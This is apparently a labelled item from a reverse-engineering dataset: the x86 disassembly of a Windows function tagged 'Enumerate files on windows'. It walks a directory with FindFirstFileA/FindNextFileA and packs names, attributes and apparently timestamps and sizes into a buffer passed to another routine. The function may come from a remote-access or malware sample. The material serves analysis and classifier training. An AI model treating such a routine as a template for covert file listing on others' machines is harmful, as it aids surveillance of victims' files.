Function at 0x10004420
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
mov ebx, ecx
mov edi, 0x2800
push 0x30
mov dword [ebp - 0x14], ebx
mov dword [ebx + 0x1c], 0
mov dword [ebp - 0x10], edi
call esi
add esp, 4
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
mov al, 0x2a
mov byte [ebp - 9], al
mov byte [ebp - 7], al
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0xc]
push eax
lea edx, [ebp - 0x258]
push ecx
push edx
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x5c
mov byte [ebp - 8], 0x2e
mov byte [ebp - 6], 0
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x30
call esi
add esp, 0x10
lea eax, [ebp - 0x154]
lea ecx, [ebp - 0x258]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0x30
mov dword [ebp + 8], eax
call esi
mov eax, dword [ebp + 8]
add esp, 4
cmp eax, 0xffffffff
jne 0x100044d1
lea edx, [ebp + 0xb]
push 1
push edx
mov ecx, ebx
mov byte [ebp + 0xb], 0x68
call fcn.10007df0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
mov ebx, 1
mov byte [eax], 0x68
jmp 0x100044e1
mov edi, dword [ebp - 0x10]
lea ecx, [edi - 0x208]
cmp ebx, ecx
jbe 0x1000450c
add edi, 0x208
push 0
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 4]
push 0x42
push edi
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [ebp - 4], eax
mov edi, 0x100182f8
lea esi, [ebp - 0x128]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x1000453f
test al, al
je 0x1000453b
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x1000453f
add esi, 2
add edi, 2
test al, al
jne 0x10004517
xor eax, eax
jmp 0x10004544
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100045f6
mov edi, 0x100182f4
lea esi, [ebp - 0x128]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x1000457f
test al, al
je 0x1000457b
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x1000457f
add esi, 2
add edi, 2
test al, al
jne 0x10004557
xor eax, eax
jmp 0x10004584
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100045f6
mov al, byte [ebp - 0x154]
mov edi, dword [ebp - 4]
and al, 0x10
lea ecx, [ebp - 0x128]
mov byte [ebx + edi], al
push ecx
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [ebp - 0x128]
mov edx, ecx
add edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebx, eax
mov eax, dword [ebp - 4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + eax], 0
mov ecx, dword [ebp - 0x138]
inc ebx
mov dword [ebx + eax], ecx
nop
nop
nop
nop
mov edx, dword [ebp - 0x134]
mov dword [ebx + eax + 4], edx
mov ecx, dword [ebp - 0x140]
add ebx, 8
mov dword [ebx + eax], ecx
mov edx, dword [ebp - 0x13c]
mov dword [ebx + eax + 4], edx
add ebx, 8
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x154]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100044de
mov edi, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
push ebx
push edi
call fcn.10007df0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4